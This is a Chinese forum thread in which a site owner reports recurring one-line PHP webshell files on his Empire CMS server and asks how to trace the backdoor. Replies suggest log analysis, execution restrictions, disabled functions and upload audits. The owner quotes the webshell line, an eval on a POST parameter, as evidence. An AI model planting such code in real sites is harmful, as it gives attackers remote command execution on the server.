服务器大神来支招，网站被挂马！

[ningcool]

网站隔几天就会在 web 的一些目录下生成垃圾.php 的脚本文件。比如最近的一个 php 文件：

< php ？ php @ eval ( $_POST [ 'cmd ']) ; ？ >

只有这么一句话的恶意脚本。

我的服务器在阿里云，也买了安骑士杀毒，但是只能检测到恶意脚本，并隔离，但具体这些脚本怎么生成的无法得知，因为隔离了，几天后又有新的垃圾脚本生成。也就是我的 linux 系统里是不是有后门，怎么揪出来？ 还请各位服务器大神给点建议，指点迷津。

[484A4B]

记录一下 HTTP 请求的内容，然后分析一下日志就知道了

[ningcool]

@jarlyyn 啊！ 我居然忘记看生成文件的用户了 ，没注意 www 还是 apache，还是 root，就给我删了。。

[jarlyyn]

@ningcool

另外一个简单的处理方法，不能根治，但能简单的起点防护作用。

你需要禁止 index.php 或者其他你需要的 php 之外的 php 文件的访问。

在 apache 或者 nginx 配置文件里把其他 php 文件的访问都 deny 掉，能防止简单的木马文件被执行。

[crab]

最简单的是去 web 日志搜索这个文件名，然后看前一个时间这个 IP 的日志都访问了啥，大概知道用什么方法进来了

[husky]

看楼主意思，不止 1 个？那是被日穿了啊
除了上面说的文件权限，php 开安全模式，disable_functions 设置下，危险的函数都禁掉，装插件把 eval 禁掉
还有代码里各种上传点，有没有做类型检查，有没有写文件的点等等等等……

[jianzhiyao020]

http://www.jianshu.com/p/44fe3ec5b704
网站目录权限加固

[we3613040]

一些目录下生成。。。。这个，查询服务器的访问日志，看看能不能找到蛛丝马迹

[changwei]

装个安全狗或者 360 主机卫士把，然后检查一下所有可能上传文件的地方看看是不是有什么上传漏洞

[test99]

都散了吧，楼主对帝国 cms 有盲目自信，这么安全怎么可能会被挂马呢，肯定是幻觉，都散了吧

[springmarker]

小白问一下，linux 上 web 开放了上传了文件的功能，怎么会被攻击，文件能自动执行？

[boboliu]

@rootx 大佬我读书少你可不要骗我

[zachlhb]

现在的 CMS 就没有安全的，要认真做站，还是自己开发吧

[ic3z]

要不 access.log 日志发下？

[realpg]

不是自己写的程序，谁敢保证安全

还特么业界……都是吹出来的业界吧

[Tonyski]

上一次听说帝国这个东西貌似是五年前

[ijimmy]

不要随便就把业界代表了吧

[40huo]

@springmarker #30 可以找文件包含的地方，也可以尝试解析漏洞。

[bfbd]

把网站部署到 Docker 里，只绑定一个端口到服务器。Wordpress 的话，mysql 也可以放进去。

[Hucai]

扫描下是否有 webshell，有的话，服务器做安全没什么用

[meowu]

..手残去 Google 了一下～最安全的～"帝国 CMS"
....我是穿越回了小时候吗？！ 这官网怎么有股"天空软件站"的味道。。。
.....这东西最后一次更新是 2015 年阿～ 2015 年阿～ 2015 年阿～ 2015 年阿～